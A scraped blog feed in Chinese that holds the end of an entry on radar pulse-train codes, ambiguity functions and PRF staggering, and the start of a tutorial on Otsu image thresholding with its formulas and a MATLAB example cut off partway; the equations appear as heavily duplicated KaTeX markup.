T</span><span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>M</span><span></span><span>−</span><span></span><span>1</span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>T</span><span><span><span><span><span><span></span><span><span>p</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span>≡</span><span></span></span><span><span></span><span>T</span></span></span></span></span><p>且方程（6.10）现在可写为</p><span><span><span>x(t)=ejω0t∑m=1M−1Rect(t−m(TpM−1)τ0)x(t)=e^{j\omega_0t}\sum^{M-1}_{m=1}Rect(\frac{t-m(\frac{T_p}{M-1})}{\tau_0})</span><span><span><span></span><span>x</span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>e</span><span><span><span><span><span><span></span><span><span><span>j</span><span><span>ω</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>t</span></span></span></span></span></span></span></span></span><span></span><span><span><span><span><span><span></span><span><span><span>m</span><span>=</span><span>1</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span><span>M</span><span>−</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span>R</span><span>ec</span><span>t</span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>t</span><span></span><span>−</span><span></span><span>m</span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>M</span><span>−</span><span>1</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>T</span><span><span><span><span><span><span></span><span><span>p</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span></span></span></span></span><p>第5章中推导了相干脉冲串的模糊函数表达式。比较方程（6.16）和方程（5.27），除了一些常数外，当方程（6.15）中的条件为真时，这两个方程是等价的。因此方程（6.16）中定义的信号的模糊函数为</p><span><span><span>∣χ(τ;fd)∣=∑k=−MM∣sin⁡[πfd([M−∣k∣]TpM−1)]sin⁡(πfdTpM−1)∣=∣sin⁡[πfd(τ0−∣τ−kTpM−1∣)]πfd∣|\chi(\tau;f_d)|=\sum^{M}_{k=-M}|\frac{\sin{[\pi f_d([M-|k|]\frac{T_p}{M-1})]}}{\sin{(\pi f_d\frac{T_p}{M-1})}}| =|\frac{\sin{[\pi f_d(\tau_0-|\tau-\frac{kT_p}{M-1}|)]}}{\pi f_d}|</span><span><span><span></span><span>∣</span><span>χ</span><span>(</span><span>τ</span><span>;</span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span>∣</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>k</span><span>=</span><span>−</span><span>M</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span><span>M</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span>∣</span><span><span></span><span><span><span><span><span><span></span><span><span>sin</span><span></span><span><span>(</span><span>π</span><span><span>f</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>M</span><span>−</span><span>1</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>T</span><span><span><span><span><span><span></span><span><span>p</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>sin</span><span></span><span><span>[</span><span>π</span><span><span>f</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>([</span><span>M</span><span></span><span>−</span><span></span><span>∣</span><span>k</span><span>∣</span><span>]</span><span><span></span><span><span><span><span><span><span></span><span><span><span>M</span><span>−</span><span>1</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>T</span><span><span><span><span><span><span></span><span><span>p</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)]</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>∣</span><span></span><span>=</span><span></span></span><span><span></span><span>∣</span><span><span></span><span><span><span><span><span><span></span><span><span>π</span><span><span>f</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>sin</span><span></span><span><span>[</span><span>π</span><span><span>f</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span><span>∣</span><span>τ</span><span></span><span>−</span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>M</span><span>−</span><span>1</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>k</span><span><span>T</span><span><span><span><span><span><span></span><span><span>p</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>∣</span><span>)]</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>∣</span></span></span></span></span><p>由方程（6.17）可推导出模糊函数的零多普勒和零时延截图，它们是</p><span><span><span>∣χ(τ;0)∣=Mτo∑k=−MM[1−kM](1−∣τ−kTpM−1∣τ0)|\chi(\tau;0)|=M\tau_o\sum^{M}_{k=-M}[1-\frac{k}{M}](1-\frac{|\tau-\frac{kT_p}{M-1}|}{\tau_0})</span><span><span><span></span><span>∣</span><span>χ</span><span>(</span><span>τ</span><span>;</span><span></span><span>0</span><span>)</span><span>∣</span><span></span><span>=</span><span></span></span><span><span></span><span>M</span><span><span>τ</span><span><span><span><span><span><span></span><span><span>o</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span><span><span><span><span><span></span><span><span><span>k</span><span>=</span><span>−</span><span>M</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span><span>M</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span>[</span><span>1</span><span></span><span>−</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>M</span></span></span><span><span></span><span></span></span><span><span></span><span><span>k</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>]</span><span>(</span><span>1</span><span></span><span>−</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>∣</span><span>τ</span><span></span><span>−</span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>M</span><span>−</span><span>1</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>k</span><span><span>T</span><span><span><span><span><span><span></span><span><span>p</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>∣</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)</span></span></span></span></span><span><span><span>∣χ(0;fd)∣=∑k=−MM∣sin⁡[πMfd(TpM−1)]sin⁡πfdTpM−1∣∣sin⁡πfdτ0πfdτ0∣|\chi(0;f_d)|=\sum^M_{k=-M}|\frac{\sin{[\pi Mf_d(\frac{T_p}{M-1})]}}{\sin{\pi f_d\frac{T_p}{M-1}}}||\frac{\sin{\pi f_d\tau_0}}{\pi f_d\tau_0}|</span><span><span><span></span><span>∣</span><span>χ</span><span>(</span><span>0</span><span>;</span><span></span><span><span>f</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>)</span><span>∣</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>k</span><span>=</span><span>−</span><span>M</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span>M</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span>∣</span><span><span></span><span><span><span><span><span><span></span><span><span>sin</span><span></span><span><span>π</span><span><span>f</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>M</span><span>−</span><span>1</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>T</span><span><span><span><span><span><span></span><span><span>p</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>sin</span><span></span><span><span>[</span><span>π</span><span>M</span><span><span>f</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span><span>M</span><span>−</span><span>1</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span><span>T</span><span><span><span><span><span><span></span><span><span>p</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>)]</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>∣∣</span><span><span></span><span><span><span><span><span><span></span><span><span>π</span><span><span>f</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>sin</span><span></span><span><span>π</span><span><span>f</span><span><span><span><span><span><span></span><span><span>d</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span>τ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>∣</span></span></span></span></span><p>图6.2（a）描绘出了图6.1给出的编码的三维模糊图，而图6.2（b）给出了对应的等值线图。</p><p><img alt="" loading="lazy" width="1419" height="857" src="/_astro/image-29-ea83fca28c84.zRUO75PO_1i3WoU.webp" /></p><p><img alt="" loading="lazy" width="1371" height="895" src="/_astro/image-30-ff94df22cee5.Cusyy3cH_204rU0.webp" /></p><p><img alt="" loading="lazy" width="1361" height="895" src="/_astro/image-31-2a2c3ff2a356.D47eYmO8_Z1JKgrq.webp" /></p><p>图6.2（c）给出了一个脉冲串编码模糊函数的等值线截图的草图。很显然，模糊函数主瓣宽度（即分辨率）与编码长度直接相关。正如我们预见的，编码越长，产生的主瓣越窄，因此分辨率比较短的编码更高。进一步观察图6.2表明，这个模糊函数有很强的栅瓣及很高的旁瓣电平。这些栅瓣和旁瓣是由编码内的1均匀等间隔分布（即编码的周期性）直接造成的。通过去除编码的周期结构，即以不均匀间隔放置脉冲，可以大大降低这些栅瓣和旁瓣，这称为编码参差（PRF参差）。</p><p>例如，考虑一个长度N=21的脉冲串编码。使用以下序列a_n，</p><span><span><span>{an}=1 n=1,4,6,12,15,21\{a_n\}=1 \text{ }n=1,4,6,12,15,21</span><span><span><span></span><span>{</span><span><span>a</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>}</span><span></span><span>=</span><span></span></span><span><span></span><span>1</span><span><span> </span></span><span>n</span><span></span><span>=</span><span></span></span><span><span></span><span>1</span><span>,</span><span></span><span>4</span><span>,</span><span></span><span>6</span><span>,</span><span></span><span>12</span><span>,</span><span></span><span>15</span><span>,</span><span></span><span>21</span></span></span></span></span><p>可得一个参差脉冲串编码。因此，得到的编码为</p><span><span><span>{U}={100101000001001000001}\{U\}=\{100101000001001000001\}</span><span><span><span></span><span>{</span><span>U</span><span>}</span><span></span><span>=</span><span></span></span><span><span></span><span>{</span><span>100101000001001000001</span><span>}</span></span></span></span></span><p>图6.3给出了对应于这个编码的模糊图。如图6.3所述，对应于一个参差脉冲串编码的模糊函数接近于图钉的形状。许多人已经对最优参差编码的选择做了广泛研究。Resnick定义最优参差脉冲串编码就是那些模糊函数具有绝对均匀且等于1旁瓣电平的脉冲串编码^1。其他研究者也引入了对最优参差的不同定义，除了考虑各个研究者分析的不同应用，各种定义各有优势。</p><blockquote><p>1 Resnick,J.B.,High Resolution Waveforms Suitable for a Multiple Target Environment,MS thesis,MIT,Cambridge,MA,June 1962.</p></blockquote><p><img alt="" loading="lazy" width="1419" height="857" src="/_astro/image-32-1fed202ebac9.BfgSvc29_2mAE5I.webp" /></p><p><img alt="" loading="lazy" width="1371" height="895" src="/_astro/image-33-8fab8cadfaee.CXHIpwXn_Z1qa18P.webp" /></p><p><img alt="" loading="lazy" width="1361" height="895" src="/_astro/image-34-d386b2053c43.DVbeSlGB_bHTkw.webp" /></p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.haihengyang.com/posts/paper/otsu-thresholding/</id>
      <title type="text">Otsu 算法</title>
      <published>2026-09-29T00:00:00.000Z</published>
      <updated>2026-09-29T00:00:00.000Z</updated>
      <author><name>YANGHAIHENG</name></author>
      <link rel="alternate" href="https://blog.haihengyang.com/posts/paper/otsu-thresholding/"/>
      <summary type="text">Otsu 阈值分割的基本思想、类间方差公式与算法推导。</summary>
      <content type="html"><![CDATA[<section><h1>一、Otsu 的基本思想（类间方差最大）<a href="#一otsu-的基本思想类间方差最大"><span>#</span></a></h1><p>假设一幅灰度图中只有两类像素：</p><ul>
<li>前景：目标（如文字、物体）</li>
<li>背景：不是目标的部分</li>
</ul><p>我们要找一个灰度阈值 <span><span>tt</span><span><span><span></span><span>t</span></span></span></span>，把图像分成两类：</p><ul>
<li>类 0（背景）：灰度 <span><span>[0,t][0,t]</span><span><span><span></span><span>[</span><span>0</span><span>,</span><span></span><span>t</span><span>]</span></span></span></span></li>
<li>类 1（前景）：灰度 <span><span>[t+1,L−1][t+1,L-1]</span><span><span><span></span><span>[</span><span>t</span><span></span><span>+</span><span></span></span><span><span></span><span>1</span><span>,</span><span></span><span>L</span><span></span><span>−</span><span></span></span><span><span></span><span>1</span><span>]</span></span></span></span>，其中 <span><span>LL</span><span><span><span></span><span>L</span></span></span></span> 是灰度级数（一般为 256）</li>
</ul><p>Otsu 的思想：找到使<strong>类间方差</strong>（两类之间差异）最大的阈值。</p></section>
<section><h1>二、数学公式（单阈值 Otsu）<a href="#二数学公式单阈值-otsu"><span>#</span></a></h1><p>设灰度级为 <span><span>0,1,…,L−10,1,\ldots,L-1</span><span><span><span></span><span>0</span><span>,</span><span></span><span>1</span><span>,</span><span></span><span>…</span><span></span><span>,</span><span></span><span>L</span><span></span><span>−</span><span></span></span><span><span></span><span>1</span></span></span></span>，直方图为 <span><span>h(i)h(i)</span><span><span><span></span><span>h</span><span>(</span><span>i</span><span>)</span></span></span></span>，总像素数为 <span><span>NN</span><span><span><span></span><span>N</span></span></span></span>。</p><ol>
<li>
<p>概率分布：</p>
<span><span><span>pi=h(i)N,i=0,…,L−1p_i=\frac{h(i)}{N},\qquad i=0,\ldots,L-1</span><span><span><span></span><span><span>p</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>N</span></span></span><span><span></span><span></span></span><span><span></span><span><span>h</span><span>(</span><span>i</span><span>)</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span>,</span><span></span><span></span><span>i</span><span></span><span>=</span><span></span></span><span><span></span><span>0</span><span>,</span><span></span><span>…</span><span></span><span>,</span><span></span><span>L</span><span></span><span>−</span><span></span></span><span><span></span><span>1</span></span></span></span></span>
</li>
<li>
<p>给定阈值 <span><span>tt</span><span><span><span></span><span>t</span></span></span></span>，两类像素的概率（权重）：</p>
<span><span><span>ω0(t)=∑i=0tpi,ω1(t)=∑i=t+1L−1pi\omega_0(t)=\sum_{i=0}^{t}p_i,\qquad
\omega_1(t)=\sum_{i=t+1}^{L-1}p_i</span><span><span><span></span><span><span>ω</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>i</span><span>=</span><span>0</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span><span>t</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span>p</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>,</span><span></span><span></span><span><span>ω</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>i</span><span>=</span><span>t</span><span>+</span><span>1</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span><span>L</span><span>−</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span>p</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span>
</li>
<li>
<p>两类的平均灰度：</p>
<span><span><span>μ0(t)=1ω0(t)∑i=0ti pi,μ1(t)=1ω1(t)∑i=t+1L−1i pi\mu_0(t)=\frac{1}{\omega_0(t)}\sum_{i=0}^{t}i\,p_i,\qquad
\mu_1(t)=\frac{1}{\omega_1(t)}\sum_{i=t+1}^{L-1}i\,p_i</span><span><span><span></span><span><span>μ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>ω</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span><span><span><span><span><span></span><span><span><span>i</span><span>=</span><span>0</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span><span>t</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span>i</span><span></span><span><span>p</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>,</span><span></span><span></span><span><span>μ</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>ω</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span></span><span><span><span><span><span><span></span><span><span><span>i</span><span>=</span><span>t</span><span>+</span><span>1</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span><span>L</span><span>−</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span>i</span><span></span><span><span>p</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span>
</li>
<li>
<p>图像整体平均灰度：</p>
<span><span><span>μT=∑i=0L−1i pi\mu_T=\sum_{i=0}^{L-1}i\,p_i</span><span><span><span></span><span><span>μ</span><span><span><span><span><span><span></span><span><span>T</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>i</span><span>=</span><span>0</span></span></span></span><span><span></span><span><span>∑</span></span></span><span><span></span><span><span><span>L</span><span>−</span><span>1</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span>i</span><span></span><span><span>p</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span>
</li>
<li>
<p>类间方差（between-class variance）定义为：</p>
<span><span><span>σB2(t)=ω0(t)(μ0(t)−μT)2+ω1(t)(μ1(t)−μT)2\sigma_B^2(t)=\omega_0(t)\bigl(\mu_0(t)-\mu_T\bigr)^2
+\omega_1(t)\bigl(\mu_1(t)-\mu_T\bigr)^2</span><span><span><span></span><span><span>σ</span><span><span><span><span><span><span></span><span><span>B</span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>ω</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span><span>(</span></span><span><span>μ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span></span><span>−</span><span></span></span><span><span></span><span><span>μ</span><span><span><span><span><span><span></span><span><span>T</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span><span>)</span></span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span><span>ω</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span><span>(</span></span><span><span>μ</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span></span><span>−</span><span></span></span><span><span></span><span><span>μ</span><span><span><span><span><span><span></span><span><span>T</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span><span>)</span></span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></span>
</li>
</ol><p>常用等价形式：</p><span><span><span>σB2(t)=ω0(t) ω1(t)(μ0(t)−μ1(t))2\sigma_B^2(t)=\omega_0(t)\,\omega_1(t)\bigl(\mu_0(t)-\mu_1(t)\bigr)^2</span><span><span><span></span><span><span>σ</span><span><span><span><span><span><span></span><span><span>B</span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span>ω</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span></span><span><span>ω</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span><span>(</span></span><span><span>μ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span></span><span>−</span><span></span></span><span><span></span><span><span>μ</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span><span><span><span>)</span></span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></span><p><strong>算法目标：</strong></p><span><span><span>t∗=arg max⁡tσB2(t)t^*=\operatorname*{arg\,max}_{t}\sigma_B^2(t)</span><span><span><span></span><span><span>t</span><span><span><span><span><span><span></span><span><span>∗</span></span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>t</span></span></span></span><span><span></span><span><span><span>arg</span><span></span><span>max</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span>σ</span><span><span><span><span><span><span></span><span><span>B</span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span></span></span></span></span></section>
<section><h1>三、Otsu 算法实现步骤（单阈值）<a href="#三otsu-算法实现步骤单阈值"><span>#</span></a></h1><ol>
<li>
<p>计算图像灰度直方图 <span><span>h(i)h(i)</span><span><span><span></span><span>h</span><span>(</span><span>i</span><span>)</span></span></span></span>，并归一化得到 <span><span>pip_i</span><span><span><span></span><span><span>p</span><span><span><span><span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>。</p>
</li>
<li>
<p>利用前缀和快速计算 <span><span>ω0(t)\omega_0(t)</span><span><span><span></span><span><span>ω</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span></span></span></span>、<span><span>ω1(t)\omega_1(t)</span><span><span><span></span><span><span>ω</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span></span></span></span>、<span><span>μ0(t)\mu_0(t)</span><span><span><span></span><span><span>μ</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span></span></span></span>、<span><span>μ1(t)\mu_1(t)</span><span><span><span></span><span><span>μ</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span></span></span></span> 与 <span><span>μT\mu_T</span><span><span><span></span><span><span>μ</span><span><span><span><span><span><span></span><span><span>T</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span>。</p>
</li>
<li>
<p>对每一个可能的阈值 <span><span>tt</span><span><span><span></span><span>t</span></span></span></span>（0 到 <span><span>L−2L-2</span><span><span><span></span><span>L</span><span></span><span>−</span><span></span></span><span><span></span><span>2</span></span></span></span>）计算类间方差 <span><span>σB2(t)\sigma_B^2(t)</span><span><span><span></span><span><span>σ</span><span><span><span><span><span><span></span><span><span>B</span></span></span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span>(</span><span>t</span><span>)</span></span></span></span>。</p>
</li>
<li>
<p>取类间方差最大的 <span><span>tt</span><span><span><span></span><span>t</span></span></span></span> 作为 Otsu 阈值。</p>
</li>
<li>
<p>按此阈值对图像进行二值化：</p>
<span><span><span>g(x,y)={0,f(x,y)≤t,255,f(x,y)&gt;t.g(x,y)=\begin{cases}
0, &amp; f(x,y)\le t,\\[4pt]
255, &amp; f(x,y)&gt;t.
\end{cases}</span><span><span><span></span><span>g</span><span>(</span><span>x</span><span>,</span><span></span><span>y</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span>{</span></span><span><span><span><span><span><span><span><span></span><span><span>0</span><span>,</span></span></span><span><span></span><span><span>255</span><span>,</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span><span><span><span><span></span><span><span>f</span><span>(</span><span>x</span><span>,</span><span></span><span>y</span><span>)</span><span></span><span>≤</span><span></span><span>t</span><span>,</span></span></span><span><span></span><span><span>f</span><span>(</span><span>x</span><span>,</span><span></span><span>y</span><span>)</span><span></span><span>&gt;</span><span></span><span>t</span><span>.</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span><span></span></span></span></span></span></span>
</li>
</ol><hr /></section>
<section><h1>四、Matlab 示例代码<a href="#四matlab-示例代码"><span>#</span></a></h1><section><h2>1. 使用 Matlab 自带 Otsu（<code>graythresh</code> + <code>imbinarize</code>）<a href="#1-使用-matlab-自带-otsugraythresh--imbinarize"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>% 读入图像（灰度图）</span></div></div><div><div><div>2</div></div><div><span>I = imread('input.png');</span></div></div><div><div><div>3</div></div><div><span>if size(I, 3) == 3</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>I = rgb2gray(I);   % 若为彩色图像，转为灰度</span></div></div><div><div><div>5</div></div><div><span>end</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>% Matlab 的 Otsu 阈值：graythresh 返回的是 [0,1] 之间的归一化阈值</span></div></div><div><div><div>8</div></div><div><span>level = graythresh(I);</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>% 二值化</span></div></div><div><div><div>11</div></div><div><span>BW = imbinarize(I, level);</span></div></div><div><div><div>12</div></div><div>
